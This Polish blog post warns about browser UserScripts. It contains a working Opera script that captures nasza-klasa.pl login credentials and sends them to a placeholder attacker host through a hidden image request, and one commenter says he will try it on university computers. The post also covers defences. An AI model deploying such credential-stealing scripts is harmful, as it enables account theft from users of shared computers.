Aplikacje internetowe

Bełdziowe spojrzenie na aplikacje internetowe

Niebezpieczeństwo UserScripts

UserScripts czy tez UserJS są małymi skryptami JavaScript ładowanymi do przeglądarki. Umożliwiają one zmianę w locie modelu DOM dowolnej strony. Powyższy opis może wydawać się niejasny, dlatego posłużę się przykładem w celu zademonstrowania zasady ich działania.

Załóżmy, że chcemy wyróżnić wszystkie łącza znajdujące się na moim blogu, które prowadza do innych stron poprzez umieszczenie przed nimi specjalnej ikony.

if( location.hostname.indexOf( 'beldzio.com' ) != -1 )
{
   window.opera.addEventListener(
      'BeforeScript',
      function( e )
      {
         var links = document.getElementsByTagName( "a" );
         if( links.length )
         {
            for( var i = 0; i < links.length; i++ )
            {
               var href = links[ i ].getAttribute( "href" );
               if( href.indexOf( 'http://' ) == 0 && href.indexOf( 'beldzio.com' ) == -1 )
               {
                  links[ i ].style.background =  "url(http://www.iconsearch.ru/download.php?icon_id=4632&size=1) no-repeat left";
                  links[ i ].style.paddingLeft = "20px";
               }
            }
         }
      },
      false
   );
}

Jak widać powyższy skrypt przechodzi po wszystkich łączach znajdujących się na stronie i sprawdza czy adresy, do których prowadza rozpoczynają się od http:// jeśli tak dane łącze traktowane jest jako zewnętrzne i dodawane jest do niego tło z ikona.

Aby powyższy skrypt zaczął działać należy załadować go do przeglądarki. Proces ten różni się zależnie od przeglądarki, z której korzystamy. W przypadku Opery należy zapisać powyższy kod na dysku, a następnie wejść w Narzędzia → Preferencje → Zaawansowane → Zawartość → Opcje JavaScript… → Moje skrypty JavaScript i wskazać katalog, z którego Opera ma ładować skrypty.

W sieci znajdują się tysiące skryptów poprawiających czy tez rozbudowujących działanie stron. Mimo udogodnieniu jakie niesie za sobą korzystanie z UserScriptów posiadają one również ciemna stronę.

Działanie UserScriptów jest transparentne, tzn. użytkownik w żaden sposób nie jest informowany o ich działaniu. Wiąże się to z pewnym niebezpieczeństwem. Załóżmy że na publicznie dostępnym komputerze zainstalujemy następujący skrypt i powiążemy go ze strona naszaklasa.pl

if( location.hostname.indexOf( 'nasza-klasa.pl' ) != -1 ) 
{
   window.opera.addEventListener(
      'BeforeScript',
      function( e )
      {
         document.getElementById( "login" ).onsubmit = function( )
         {
            var login = document.getElementById( "login_login" ).value;
            var pass  = document.getElementById( "login_pass" ).value;

            var img = new Image( );
        img.src = "http://adres.napastnika/skrypt?login=" + login + "&pass=" + pass;
         };
      },
      false
   );
}

Zadanie skryptu jest bardzo proste. W chwili gdy użytkownik poda dane potrzebne do logowania, a następnie kliknie przycisk logowania zostanie utworzony niewidzialny obrazek, którego źródłem będzie skrypt napastnika z doklejonymi danymi logowania jako parametrami. W taki prosty sposób można stworzyć sniffera, który będzie nie do wykrycia dla większości użytkowników.

Niebezpieczeństwo powyższego skryptu można w prosty sposób zwiększyć. Nie musimy się przecież ograniczać do konkretnej strony. Możemy stworzyć globalny UserJS, który będzie wykonywany na każdej stronie przechwytując wartości pól formularza, który zawiera pole przechowujące hasło.

Niebezpieczeństwo UserScriptów wynika z trudnej ochrony przed nimi. Żaden antywirus nie jest w stanie wykryć niebezpiecznych skryptów. Również twórcy stron są bezsilni, nie są w stanie zabezpieczyć użytkownika, ponieważ cały proces dzieje się po stronie przeglądarki.

Jedynym sposobem zabezpieczenia jest edukacja użytkowników oraz ograniczenie korzystania z serwisów wymagających logowania na publicznych komputerach.

Najprostszym sposobem obrony jest wyłączenie obsługi JavaScript przez przeglądarkę. Jest to sposób w pełni skuteczny jednak wiele serwisów może przestać prawidłowo działać bez włączonej obsługi skryptów Javy.

Innym sposobem jest uruchomienie przeglądarki w trybie safe mode, który uruchomi przeglądarkę w „surowej formie” tzn. bez wszelkich doinstalowanych dodatków, a co za tym idzie bez niebezpiecznych skryptów.

Zobacz także

Repozytowium UserScriptów


Tagi: ,
Kategoria: Bezpieczeństwo, JavaScript


8 komentarzy

  1. Bardzo ciekawa opcja, nie pomyślałbym o takim użyciu skryptów przeglądarki. Aż zachęciłeś mnie do wypróbowania tej metody na akademickich komputerach dla wszystkich pól haseł. Zobaczymy jak się sprawdzi :)

  2. A jest jakieś rozwiązanie by się przed tym bronić? W sensie, jeśli jestem właścicielem strony?

  3. nie ma, albo po prostu nie jest mi znane :) akcja dzieje się po stronie przeglądarki tak więc właściciel strony nie ma tu za wiele do gadania

  4. Andrzej napisał(a):

    Bełdziu drogi, tyle się o tym mówi, a Ty i tak napisałeś, że JavaScript, to Java :) Popraw to, proszę, bo w oczy kole :)
    PS Dodaj do tego formularza atrybuty title dla każdego inputa, bo nie wiem, do czego konkretne pola służą (obrazki nie są aż tak… informacyjne).

  5. Andrzeju drogi gdzie napisałem, że JS to java? :-)

    co do title to jak bede grzebal przy szablonach to dodam :)

  6. „Jest to sposób w pełni skuteczny jednak wiele serwisów może przestać prawidłowo działać bez włączonej obsługi skryptów Javy.”

  7. czyli JavaScript :-)

  8. fifi209 napisał(a):

    „bez włączonej obsługi skryptów Javy.”

    kot to nie kotara a java to nie javascript.

Dodaj komentarz